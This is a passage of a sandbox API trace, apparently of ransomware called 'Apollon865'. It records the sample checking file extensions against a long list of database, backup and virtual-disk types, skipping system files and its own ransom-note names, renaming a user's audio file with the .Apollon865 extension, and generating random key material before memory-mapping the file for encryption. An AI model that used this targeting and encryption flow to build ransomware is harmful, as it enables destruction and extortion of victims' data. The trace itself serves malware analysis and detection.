	[0088.185] lstrcmpiW (lpString1="wav", lpString2="mfd") returned 1
	[0088.185] lstrlenW (lpString="mpd") returned 3
	[0088.185] lstrcmpiW (lpString1="wav", lpString2="mpd") returned 1
	[0088.185] lstrlenW (lpString="mrg") returned 3
	[0088.185] lstrcmpiW (lpString1="wav", lpString2="mrg") returned 1
	[0088.185] lstrlenW (lpString="mud") returned 3
	[0088.185] lstrcmpiW (lpString1="wav", lpString2="mud") returned 1
	[0088.185] lstrlenW (lpString="mwb") returned 3
	[0088.185] lstrcmpiW (lpString1="wav", lpString2="mwb") returned 1
	[0088.186] lstrlenW (lpString="myd") returned 3
	[0088.186] lstrcmpiW (lpString1="wav", lpString2="myd") returned 1
	[0088.186] lstrlenW (lpString="ndf") returned 3
	[0088.186] lstrcmpiW (lpString1="wav", lpString2="ndf") returned 1
	[0088.186] lstrlenW (lpString="nnt") returned 3
	[0088.186] lstrcmpiW (lpString1="wav", lpString2="nnt") returned 1
	[0088.186] lstrlenW (lpString="nrmlib") returned 6
	[0088.186] lstrcmpiW (lpString1="QE.wav", lpString2="nrmlib") returned 1
	[0088.186] lstrlenW (lpString="ns2") returned 3
	[0088.186] lstrcmpiW (lpString1="wav", lpString2="ns2") returned 1
	[0088.186] lstrlenW (lpString="ns3") returned 3
	[0088.186] lstrcmpiW (lpString1="wav", lpString2="ns3") returned 1
	[0088.186] lstrlenW (lpString="ns4") returned 3
	[0088.186] lstrcmpiW (lpString1="wav", lpString2="ns4") returned 1
	[0088.186] lstrlenW (lpString="nsf") returned 3
	[0088.186] lstrcmpiW (lpString1="wav", lpString2="nsf") returned 1
	[0088.186] lstrlenW (lpString="nv") returned 2
	[0088.186] lstrcmpiW (lpString1="av", lpString2="nv") returned -1
	[0088.186] lstrlenW (lpString="nv2") returned 3
	[0088.186] lstrcmpiW (lpString1="wav", lpString2="nv2") returned 1
	[0088.186] lstrlenW (lpString="nwdb") returned 4
	[0088.186] lstrcmpiW (lpString1=".wav", lpString2="nwdb") returned -1
	[0088.186] lstrlenW (lpString="nyf") returned 3
	[0088.186] lstrcmpiW (lpString1="wav", lpString2="nyf") returned 1
	[0088.186] lstrlenW (lpString="odb") returned 3
	[0088.186] lstrcmpiW (lpString1="wav", lpString2="odb") returned 1
	[0088.186] lstrlenW (lpString="odb") returned 3
	[0088.186] lstrcmpiW (lpString1="wav", lpString2="odb") returned 1
	[0088.186] lstrlenW (lpString="oqy") returned 3
	[0088.186] lstrcmpiW (lpString1="wav", lpString2="oqy") returned 1
	[0088.186] lstrlenW (lpString="ora") returned 3
	[0088.186] lstrcmpiW (lpString1="wav", lpString2="ora") returned 1
	[0088.186] lstrlenW (lpString="orx") returned 3
	[0088.186] lstrcmpiW (lpString1="wav", lpString2="orx") returned 1
	[0088.186] lstrlenW (lpString="owc") returned 3
	[0088.187] lstrcmpiW (lpString1="wav", lpString2="owc") returned 1
	[0088.187] lstrlenW (lpString="p96") returned 3
	[0088.187] lstrcmpiW (lpString1="wav", lpString2="p96") returned 1
	[0088.187] lstrlenW (lpString="p97") returned 3
	[0088.187] lstrcmpiW (lpString1="wav", lpString2="p97") returned 1
	[0088.187] lstrlenW (lpString="pan") returned 3
	[0088.187] lstrcmpiW (lpString1="wav", lpString2="pan") returned 1
	[0088.187] lstrlenW (lpString="pdb") returned 3
	[0088.187] lstrcmpiW (lpString1="wav", lpString2="pdb") returned 1
	[0088.187] lstrlenW (lpString="pdm") returned 3
	[0088.187] lstrcmpiW (lpString1="wav", lpString2="pdm") returned 1
	[0088.187] lstrlenW (lpString="pnz") returned 3
	[0088.187] lstrcmpiW (lpString1="wav", lpString2="pnz") returned 1
	[0088.187] lstrlenW (lpString="qry") returned 3
	[0088.187] lstrcmpiW (lpString1="wav", lpString2="qry") returned 1
	[0088.187] lstrlenW (lpString="qvd") returned 3
	[0088.187] lstrcmpiW (lpString1="wav", lpString2="qvd") returned 1
	[0088.187] lstrlenW (lpString="rbf") returned 3
	[0088.187] lstrcmpiW (lpString1="wav", lpString2="rbf") returned 1
	[0088.187] lstrlenW (lpString="rctd") returned 4
	[0088.187] lstrcmpiW (lpString1=".wav", lpString2="rctd") returned -1
	[0088.187] lstrlenW (lpString="rod") returned 3
	[0088.187] lstrcmpiW (lpString1="wav", lpString2="rod") returned 1
	[0088.187] lstrlenW (lpString="rodx") returned 4
	[0088.187] lstrcmpiW (lpString1=".wav", lpString2="rodx") returned -1
	[0088.187] lstrlenW (lpString="rpd") returned 3
	[0088.187] lstrcmpiW (lpString1="wav", lpString2="rpd") returned 1
	[0088.187] lstrlenW (lpString="rsd") returned 3
	[0088.187] lstrcmpiW (lpString1="wav", lpString2="rsd") returned 1
	[0088.188] lstrlenW (lpString="sas7bdat") returned 8
	[0088.188] lstrcmpiW (lpString1="2AQE.wav", lpString2="sas7bdat") returned -1
	[0088.188] lstrlenW (lpString="sbf") returned 3
	[0088.188] lstrcmpiW (lpString1="wav", lpString2="sbf") returned 1
	[0088.188] lstrlenW (lpString="scx") returned 3
	[0088.188] lstrcmpiW (lpString1="wav", lpString2="scx") returned 1
	[0088.188] lstrlenW (lpString="sdb") returned 3
	[0088.188] lstrcmpiW (lpString1="wav", lpString2="sdb") returned 1
	[0088.188] lstrlenW (lpString="sdc") returned 3
	[0088.188] lstrcmpiW (lpString1="wav", lpString2="sdc") returned 1
	[0088.188] lstrlenW (lpString="sdf") returned 3
	[0088.188] lstrcmpiW (lpString1="wav", lpString2="sdf") returned 1
	[0088.188] lstrlenW (lpString="sis") returned 3
	[0088.188] lstrcmpiW (lpString1="wav", lpString2="sis") returned 1
	[0088.188] lstrlenW (lpString="spq") returned 3
	[0088.188] lstrcmpiW (lpString1="wav", lpString2="spq") returned 1
	[0088.188] lstrlenW (lpString="te") returned 2
	[0088.188] lstrcmpiW (lpString1="av", lpString2="te") returned -1
	[0088.188] lstrlenW (lpString="teacher") returned 7
	[0088.188] lstrcmpiW (lpString1="AQE.wav", lpString2="teacher") returned -1
	[0088.188] lstrlenW (lpString="tmd") returned 3
	[0088.188] lstrcmpiW (lpString1="wav", lpString2="tmd") returned 1
	[0088.188] lstrlenW (lpString="tps") returned 3
	[0088.188] lstrcmpiW (lpString1="wav", lpString2="tps") returned 1
	[0088.188] lstrlenW (lpString="trc") returned 3
	[0088.188] lstrcmpiW (lpString1="wav", lpString2="trc") returned 1
	[0088.188] lstrlenW (lpString="trc") returned 3
	[0088.188] lstrcmpiW (lpString1="wav", lpString2="trc") returned 1
	[0088.188] lstrlenW (lpString="trm") returned 3
	[0088.188] lstrcmpiW (lpString1="wav", lpString2="trm") returned 1
	[0088.188] lstrlenW (lpString="udb") returned 3
	[0088.188] lstrcmpiW (lpString1="wav", lpString2="udb") returned 1
	[0088.189] lstrlenW (lpString="udl") returned 3
	[0088.189] lstrcmpiW (lpString1="wav", lpString2="udl") returned 1
	[0088.189] lstrlenW (lpString="usr") returned 3
	[0088.189] lstrcmpiW (lpString1="wav", lpString2="usr") returned 1
	[0088.189] lstrlenW (lpString="v12") returned 3
	[0088.189] lstrcmpiW (lpString1="wav", lpString2="v12") returned 1
	[0088.189] lstrlenW (lpString="vis") returned 3
	[0088.189] lstrcmpiW (lpString1="wav", lpString2="vis") returned 1
	[0088.189] lstrlenW (lpString="vpd") returned 3
	[0088.189] lstrcmpiW (lpString1="wav", lpString2="vpd") returned 1
	[0088.189] lstrlenW (lpString="vvv") returned 3
	[0088.189] lstrcmpiW (lpString1="wav", lpString2="vvv") returned 1
	[0088.189] lstrlenW (lpString="wdb") returned 3
	[0088.189] lstrcmpiW (lpString1="wav", lpString2="wdb") returned -1
	[0088.189] lstrlenW (lpString="wmdb") returned 4
	[0088.189] lstrcmpiW (lpString1=".wav", lpString2="wmdb") returned -1
	[0088.189] lstrlenW (lpString="wrk") returned 3
	[0088.189] lstrcmpiW (lpString1="wav", lpString2="wrk") returned -1
	[0088.189] lstrlenW (lpString="xdb") returned 3
	[0088.189] lstrcmpiW (lpString1="wav", lpString2="xdb") returned -1
	[0088.189] lstrlenW (lpString="xld") returned 3
	[0088.189] lstrcmpiW (lpString1="wav", lpString2="xld") returned -1
	[0088.189] lstrlenW (lpString="xmlff") returned 5
	[0088.189] lstrcmpiW (lpString1="E.wav", lpString2="xmlff") returned -1
	[0088.189] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\N0DUyEryr594KLTK2AQE.wav.Apollon865") returned 89
	[0088.189] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\N0DUyEryr594KLTK2AQE.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\kldrs 2\\n0duyeryr594kltk2aqe.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\N0DUyEryr594KLTK2AQE.wav.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\kldrs 2\\n0duyeryr594kltk2aqe.wav.apollon865"), dwFlags=0x1) returned 1
	[0088.193] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\N0DUyEryr594KLTK2AQE.wav.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\kldrs 2\\n0duyeryr594kltk2aqe.wav.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0088.194] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=58839) returned 1
	[0088.194] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0088.194] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0088.194] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0088.194] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0088.196] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0088.196] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0088.197] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe8e0, lpName=0x0) returned 0x15c
	[0088.197] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe8e0) returned 0x100000
	[0088.200] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0088.201] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0088.201] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0088.201] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0088.201] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0088.201] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0088.201] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0088.201] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0088.201] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0088.201] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0088.201] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0088.201] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0088.201] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0088.201] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0088.202] CloseHandle (hObject=0x15c) returned 1
	[0088.202] CloseHandle (hObject=0x9c) returned 1
	[0088.203] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0088.203] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0088.203] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0088.204] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b71e70, ftCreationTime.dwHighDateTime=0x1d4cff5, ftLastAccessTime.dwLowDateTime=0x39d74630, ftLastAccessTime.dwHighDateTime=0x1d4cd34, ftLastWriteTime.dwLowDateTime=0x39d74630, ftLastWriteTime.dwHighDateTime=0x1d4cd34, nFileSizeHigh=0x0, nFileSizeLow=0x199c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NlgTXWxOvXmlJQPm0.wav", cAlternateFileName="NLGTXW~1.WAV")) returned 1
	[0088.204] lstrcmpiW (lpString1="NlgTXWxOvXmlJQPm0.wav", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0088.204] lstrcmpiW (lpString1="NlgTXWxOvXmlJQPm0.wav", lpString2="Apollon865.txt.exe") returned 1
	[0088.204] lstrcmpiW (lpString1="NlgTXWxOvXmlJQPm0.wav", lpString2=".") returned 1
	[0088.204] lstrcmpiW (lpString1="NlgTXWxOvXmlJQPm0.wav", lpString2="..") returned 1
	[0088.204] lstrcmpiW (lpString1="NlgTXWxOvXmlJQPm0.wav", lpString2="windows") returned -1
	[0088.204] lstrcmpiW (lpString1="NlgTXWxOvXmlJQPm0.wav", lpString2="bootmgr") returned 1
	[0088.204] lstrcmpiW (lpString1="NlgTXWxOvXmlJQPm0.wav", lpString2="temp") returned -1
	[0088.204] lstrcmpiW (lpString1="NlgTXWxOvXmlJQPm0.wav", lpString2="pagefile.sys") returned -1
	[0088.204] lstrcmpiW (lpString1="NlgTXWxOvXmlJQPm0.wav", lpString2="boot") returned 1
	[0088.204] lstrcmpiW (lpString1="NlgTXWxOvXmlJQPm0.wav", lpString2="ids.txt") returned 1
	[0088.204] lstrcmpiW (lpString1="NlgTXWxOvXmlJQPm0.wav", lpString2="ntuser.dat") returned -1
	[0088.204] lstrcmpiW (lpString1="NlgTXWxOvXmlJQPm0.wav", lpString2="perflogs") returned -1
	[0088.204] lstrcmpiW (lpString1="NlgTXWxOvXmlJQPm0.wav", lpString2="MSBuild") returned 1
	[0088.205] lstrlenW (lpString="NlgTXWxOvXmlJQPm0.wav") returned 21
	[0088.205] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\N0DUyEryr594KLTK2AQE.wav") returned 78
	[0088.205] lstrcpyW (in: lpString1=0x119e674, lpString2="NlgTXWxOvXmlJQPm0.wav" | out: lpString1="NlgTXWxOvXmlJQPm0.wav") returned="NlgTXWxOvXmlJQPm0.wav"
	[0088.205] lstrlenW (lpString="NlgTXWxOvXmlJQPm0.wav") returned 21
	[0088.205] lstrlenW (lpString="Apollon865") returned 10
	[0088.205] lstrcmpiW (lpString1="lJQPm0.wav", lpString2="Apollon865") returned 1
	[0088.205] lstrlenW (lpString=".dll") returned 4
	[0088.205] lstrcmpiW (lpString1="NlgTXWxOvXmlJQPm0.wav", lpString2=".dll") returned 1
	[0088.205] lstrlenW (lpString=".lnk") returned 4
	[0088.205] lstrcmpiW (lpString1="NlgTXWxOvXmlJQPm0.wav", lpString2=".lnk") returned 1
	[0088.205] lstrlenW (lpString=".ini") returned 4
	[0088.205] lstrcmpiW (lpString1="NlgTXWxOvXmlJQPm0.wav", lpString2=".ini") returned 1
	[0088.205] lstrlenW (lpString=".sys") returned 4
	[0088.205] lstrcmpiW (lpString1="NlgTXWxOvXmlJQPm0.wav", lpString2=".sys") returned 1
	[0088.205] lstrlenW (lpString="NlgTXWxOvXmlJQPm0.wav") returned 21
	[0088.205] lstrlenW (lpString="bak") returned 3
	[0088.205] lstrcmpiW (lpString1="wav", lpString2="bak") returned 1
	[0088.205] lstrlenW (lpString="ba_") returned 3
	[0088.205] lstrcmpiW (lpString1="wav", lpString2="ba_") returned 1
	[0088.205] lstrlenW (lpString="dbb") returned 3
	[0088.205] lstrcmpiW (lpString1="wav", lpString2="dbb") returned 1
	[0088.205] lstrlenW (lpString="vmdk") returned 4
	[0088.205] lstrcmpiW (lpString1=".wav", lpString2="vmdk") returned -1
	[0088.205] lstrlenW (lpString="rar") returned 3
	[0088.205] lstrcmpiW (lpString1="wav", lpString2="rar") returned 1
	[0088.205] lstrlenW (lpString="zip") returned 3
	[0088.205] lstrcmpiW (lpString1="wav", lpString2="zip") returned -1
	[0088.205] lstrlenW (lpString="tgz") returned 3
	[0088.205] lstrcmpiW (lpString1="wav", lpString2="tgz") returned 1
	[0088.205] lstrlenW (lpString="vbox") returned 4
	[0088.205] lstrcmpiW (lpString1=".wav", lpString2="vbox") returned -1
	[0088.205] lstrlenW (lpString="vdi") returned 3
	[0088.205] lstrcmpiW (lpString1="wav", lpString2="vdi") returned 1
	[0088.205] lstrlenW (lpString="vhd") returned 3
	[0088.206] lstrcmpiW (lpString1="wav", lpString2="vhd") returned 1
	[0088.206] lstrlenW (lpString="vhdx") returned 4
	[0088.206] lstrcmpiW (lpString1=".wav", lpString2="vhdx") returned -1
	[0088.206] lstrlenW (lpString="avhd") returned 4
	[0088.206] lstrcmpiW (lpString1=".wav", lpString2="avhd") returned -1
	[0088.206] lstrlenW (lpString="db") returned 2
	[0088.206] lstrcmpiW (lpString1="av", lpString2="db") returned -1
	[0088.206] lstrlenW (lpString="db2") returned 3
	[0088.206] lstrcmpiW (lpString1="wav", lpString2="db2") returned 1
	[0088.206] lstrlenW (lpString="db3") returned 3
	[0088.206] lstrcmpiW (lpString1="wav", lpString2="db3") returned 1
	[0088.206] lstrlenW (lpString="dbf") returned 3
	[0088.206] lstrcmpiW (lpString1="wav", lpString2="dbf") returned 1
	[0088.206] lstrlenW (lpString="mdf") returned 3
	[0088.206] lstrcmpiW (lpString1="wav", lpString2="mdf") returned 1
	[0088.206] lstrlenW (lpString="mdb") returned 3
	[0088.206] lstrcmpiW (lpString1="wav", lpString2="mdb") returned 1
	[0088.206] lstrlenW (lpString="sql") returned 3
	[0088.206] lstrcmpiW (lpString1="wav", lpString2="sql") returned 1
	[0088.206] lstrlenW (lpString="sqlite") returned 6
	[0088.206] lstrcmpiW (lpString1="m0.wav", lpString2="sqlite") returned -1
	[0088.206] lstrlenW (lpString="sqlite3") returned 7
	[0088.206] lstrcmpiW (lpString1="Pm0.wav", lpString2="sqlite3") returned -1
	[0088.206] lstrlenW (lpString="sqlitedb") returned 8
	[0088.206] lstrcmpiW (lpString1="QPm0.wav", lpString2="sqlitedb") returned -1
	[0088.206] lstrlenW (lpString="xml") returned 3
	[0088.206] lstrcmpiW (lpString1="wav", lpString2="xml") returned -1
	[0088.206] lstrlenW (lpString="$er") returned 3
	[0088.206] lstrcmpiW (lpString1="wav", lpString2="$er") returned 1
	[0088.206] lstrlenW (lpString="4dd") returned 3
	[0088.206] lstrcmpiW (lpString1="wav", lpString2="4dd") returned 1
	[0088.206] lstrlenW (lpString="4dl") returned 3
	[0088.206] lstrcmpiW (lpString1="wav", lpString2="4dl") returned 1
	[0088.206] lstrlenW (lpString="^^^") returned 3
	[0088.207] lstrcmpiW (lpString1="wav", lpString2="^^^") returned 1
	[0088.207] lstrlenW (lpString="abs") returned 3
	[0088.207] lstrcmpiW (lpString1="wav", lpString2="abs") returned 1
	[0088.207] lstrlenW (lpString="abx") returned 3
	[0088.207] lstrcmpiW (lpString1="wav", lpString2="abx") returned 1
	[0088.207] lstrlenW (lpString="accdb") returned 5
	[0088.207] lstrcmpiW (lpString1="0.wav", lpString2="accdb") returned -1
	[0088.207] lstrlenW (lpString="accdc") returned 5
	[0088.207] lstrcmpiW (lpString1="0.wav", lpString2="accdc") returned -1
	[0088.207] lstrlenW (lpString="accde") returned 5
	[0088.207] lstrcmpiW (lpString1="0.wav", lpString2="accde") returned -1
	[0088.207] lstrlenW (lpString="accdr") returned 5
	[0088.207] lstrcmpiW (lpString1="0.wav", lpString2="accdr") returned -1
	[0088.207] lstrlenW (lpString="accdt") returned 5
	[0088.207] lstrcmpiW (lpString1="0.wav", lpString2="accdt") returned -1
	[0088.207] lstrlenW (lpString="accdw") returned 5
	[0088.207] lstrcmpiW (lpString1="0.wav", lpString2="accdw") returned -1
	[0088.207] lstrlenW (lpString="accft") returned 5
	[0088.207] lstrcmpiW (lpString1="0.wav", lpString2="accft") returned -1
	[0088.207] lstrlenW (lpString="adb") returned 3
	[0088.207] lstrcmpiW (lpString1="wav", lpString2="adb") returned 1
	[0088.207] lstrlenW (lpString="adb") returned 3
	[0088.207] lstrcmpiW (lpString1="wav", lpString2="adb") returned 1
	[0088.207] lstrlenW (lpString="ade") returned 3
	[0088.207] lstrcmpiW (lpString1="wav", lpString2="ade") returned 1
	[0088.207] lstrlenW (lpString="adf") returned 3
	[0088.207] lstrcmpiW (lpString1="wav", lpString2="adf") returned 1
	[0088.207] lstrlenW (lpString="adn") returned 3
	[0088.207] lstrcmpiW (lpString1="wav", lpString2="adn") returned 1
	[0088.207] lstrlenW (lpString="adp") returned 3
	[0088.207] lstrcmpiW (lpString1="wav", lpString2="adp") returned 1
	[0088.207] lstrlenW (lpString="alf") returned 3
	[0088.207] lstrcmpiW (lpString1="wav", lpString2="alf") returned 1
	[0088.207] lstrlenW (lpString="ask") returned 3
	[0088.208] lstrcmpiW (lpString1="wav", lpString2="ask") returned 1
	[0088.208] lstrlenW (lpString="btr") returned 3
	[0088.208] lstrcmpiW (lpString1="wav", lpString2="btr") returned 1
	[0088.208] lstrlenW (lpString="cat") returned 3
	[0088.208] lstrcmpiW (lpString1="wav", lpString2="cat") returned 1
	[0088.208] lstrlenW (lpString="cdb") returned 3
	[0088.208] lstrcmpiW (lpString1="wav", lpString2="cdb") returned 1
	[0088.208] lstrlenW (lpString="ckp") returned 3
	[0088.208] lstrcmpiW (lpString1="wav", lpString2="ckp") returned 1
	[0088.208] lstrlenW (lpString="cma") returned 3
	[0088.208] lstrcmpiW (lpString1="wav", lpString2="cma") returned 1
	[0088.208] lstrlenW (lpString="cpd") returned 3
	[0088.208] lstrcmpiW (lpString1="wav", lpString2="cpd") returned 1
	[0088.208] lstrlenW (lpString="dacpac") returned 6
	[0088.208] lstrcmpiW (lpString1="m0.wav", lpString2="dacpac") returned 1
	[0088.208] lstrlenW (lpString="dad") returned 3
	[0088.208] lstrcmpiW (lpString1="wav", lpString2="dad") returned 1
	[0088.208] lstrlenW (lpString="dadiagrams") returned 10
	[0088.208] lstrcmpiW (lpString1="lJQPm0.wav", lpString2="dadiagrams") returned 1
	[0088.208] lstrlenW (lpString="daschema") returned 8
	[0088.208] lstrcmpiW (lpString1="QPm0.wav", lpString2="daschema") returned 1
	[0088.208] lstrlenW (lpString="db-journal") returned 10
	[0088.208] lstrcmpiW (lpString1="lJQPm0.wav", lpString2="db-journal") returned 1
	[0088.208] lstrlenW (lpString="db-shm") returned 6
	[0088.208] lstrcmpiW (lpString1="m0.wav", lpString2="db-shm") returned 1
	[0088.208] lstrlenW (lpString="db-wal") returned 6
	[0088.208] lstrcmpiW (lpString1="m0.wav", lpString2="db-wal") returned 1
	[0088.208] lstrlenW (lpString="dbc") returned 3
	[0088.208] lstrcmpiW (lpString1="wav", lpString2="dbc") returned 1
	[0088.208] lstrlenW (lpString="dbs") returned 3
	[0088.208] lstrcmpiW (lpString1="wav", lpString2="dbs") returned 1
	[0088.208] lstrlenW (lpString="dbt") returned 3
	[0088.208] lstrcmpiW (lpString1="wav", lpString2="dbt") returned 1
	[0088.208] lstrlenW (lpString="dbv") returned 3
	[0088.208] lstrcmpiW (lpString1="wav", lpString2="dbv") returned 1
	[0088.209] lstrlenW (lpString="dbx") returned 3
	[0088.209] lstrcmpiW (lpString1="wav", lpString2="dbx") returned 1
	[0088.209] lstrlenW (lpString="dcb") returned 3
	[0088.209] lstrcmpiW (lpString1="wav", lpString2="dcb") returned 1
	[0088.209] lstrlenW (lpString="dct") returned 3
	[0088.209] lstrcmpiW (lpString1="wav", lpString2="dct") returned 1
	[0088.209] lstrlenW (lpString="dcx") returned 3
	[0088.209] lstrcmpiW (lpString1="wav", lpString2="dcx") returned 1
	[0088.209] lstrlenW (lpString="ddl") returned 3
	[0088.209] lstrcmpiW (lpString1="wav", lpString2="ddl") returned 1
	[0088.209] lstrlenW (lpString="dlis") returned 4
	[0088.209] lstrcmpiW (lpString1=".wav", lpString2="dlis") returned -1
	[0088.209] lstrlenW (lpString="dp1") returned 3
	[0088.209] lstrcmpiW (lpString1="wav", lpString2="dp1") returned 1
	[0088.209] lstrlenW (lpString="dqy") returned 3
	[0088.209] lstrcmpiW (lpString1="wav", lpString2="dqy") returned 1
	[0088.209] lstrlenW (lpString="dsk") returned 3
	[0088.209] lstrcmpiW (lpString1="wav", lpString2="dsk") returned 1
	[0088.209] lstrlenW (lpString="dsn") returned 3
	[0088.209] lstrcmpiW (lpString1="wav", lpString2="dsn") returned 1
	[0088.209] lstrlenW (lpString="dtsx") returned 4
	[0088.209] lstrcmpiW (lpString1=".wav", lpString2="dtsx") returned -1
	[0088.209] lstrlenW (lpString="dxl") returned 3
	[0088.209] lstrcmpiW (lpString1="wav", lpString2="dxl") returned 1
	[0088.209] lstrlenW (lpString="eco") returned 3
	[0088.209] lstrcmpiW (lpString1="wav", lpString2="eco") returned 1
	[0088.209] lstrlenW (lpString="ecx") returned 3
	[0088.209] lstrcmpiW (lpString1="wav", lpString2="ecx") returned 1
	[0088.209] lstrlenW (lpString="edb") returned 3
	[0088.209] lstrcmpiW (lpString1="wav", lpString2="edb") returned 1
	[0088.209] lstrlenW (lpString="epim") returned 4
	[0088.209] lstrcmpiW (lpString1=".wav", lpString2="epim") returned -1
	[0088.209] lstrlenW (lpString="fcd") returned 3
	[0088.209] lstrcmpiW (lpString1="wav", lpString2="fcd") returned 1
	[0088.210] lstrlenW (lpString="fdb") returned 3
	[0088.210] lstrcmpiW (lpString1="wav", lpString2="fdb") returned 1
	[0088.210] lstrlenW (lpString="fic") returned 3
	[0088.210] lstrcmpiW (lpString1="wav", lpString2="fic") returned 1
	[0088.210] lstrlenW (lpString="flexolibrary") returned 12
	[0088.210] lstrcmpiW (lpString1="XmlJQPm0.wav", lpString2="flexolibrary") returned 1
	[0088.210] lstrlenW (lpString="fm5") returned 3
	[0088.210] lstrcmpiW (lpString1="wav", lpString2="fm5") returned 1
	[0088.210] lstrlenW (lpString="fmp") returned 3
	[0088.210] lstrcmpiW (lpString1="wav", lpString2="fmp") returned 1
	[0088.210] lstrlenW (lpString="fmp12") returned 5
	[0088.210] lstrcmpiW (lpString1="0.wav", lpString2="fmp12") returned -1
	[0088.210] lstrlenW (lpString="fmpsl") returned 5
	[0088.210] lstrcmpiW (lpString1="0.wav", lpString2="fmpsl") returned -1
	[0088.210] lstrlenW (lpString="fol") returned 3
	[0088.210] lstrcmpiW (lpString1="wav", lpString2="fol") returned 1
	[0088.210] lstrlenW (lpString="fp3") returned 3
	[0088.210] lstrcmpiW (lpString1="wav", lpString2="fp3") returned 1
	[0088.210] lstrlenW (lpString="fp4") returned 3
	[0088.210] lstrcmpiW (lpString1="wav", lpString2="fp4") returned 1
	[0088.210] lstrlenW (lpString="fp5") returned 3
	[0088.210] lstrcmpiW (lpString1="wav", lpString2="fp5") returned 1
	[0088.210] lstrlenW (lpString="fp7") returned 3
	[0088.210] lstrcmpiW (lpString1="wav", lpString2="fp7") returned 1
	[0088.210] lstrlenW (lpString="fpt") returned 3
	[0088.210] lstrcmpiW (lpString1="wav", lpString2="fpt") returned 1
	[0088.210] lstrlenW (lpString="frm") returned 3
	[0088.210] lstrcmpiW (lpString1="wav", lpString2="frm") returned 1
	[0088.210] lstrlenW (lpString="gdb") returned 3
	[0088.210] lstrcmpiW (lpString1="wav", lpString2="gdb") returned 1
	[0088.210] lstrlenW (lpString="gdb") returned 3
	[0088.210] lstrcmpiW (lpString1="wav", lpString2="gdb") returned 1
	[0088.210] lstrlenW (lpString="grdb") returned 4
	[0088.210] lstrcmpiW (lpString1=".wav", lpString2="grdb") returned -1
	[0088.211] lstrlenW (lpString="gwi") returned 3
	[0088.211] lstrcmpiW (lpString1="wav", lpString2="gwi") returned 1
	[0088.211] lstrlenW (lpString="hdb") returned 3
	[0088.211] lstrcmpiW (lpString1="wav", lpString2="hdb") returned 1
	[0088.211] lstrlenW (lpString="his") returned 3
	[0088.211] lstrcmpiW (lpString1="wav", lpString2="his") returned 1
	[0088.211] lstrlenW (lpString="ib") returned 2
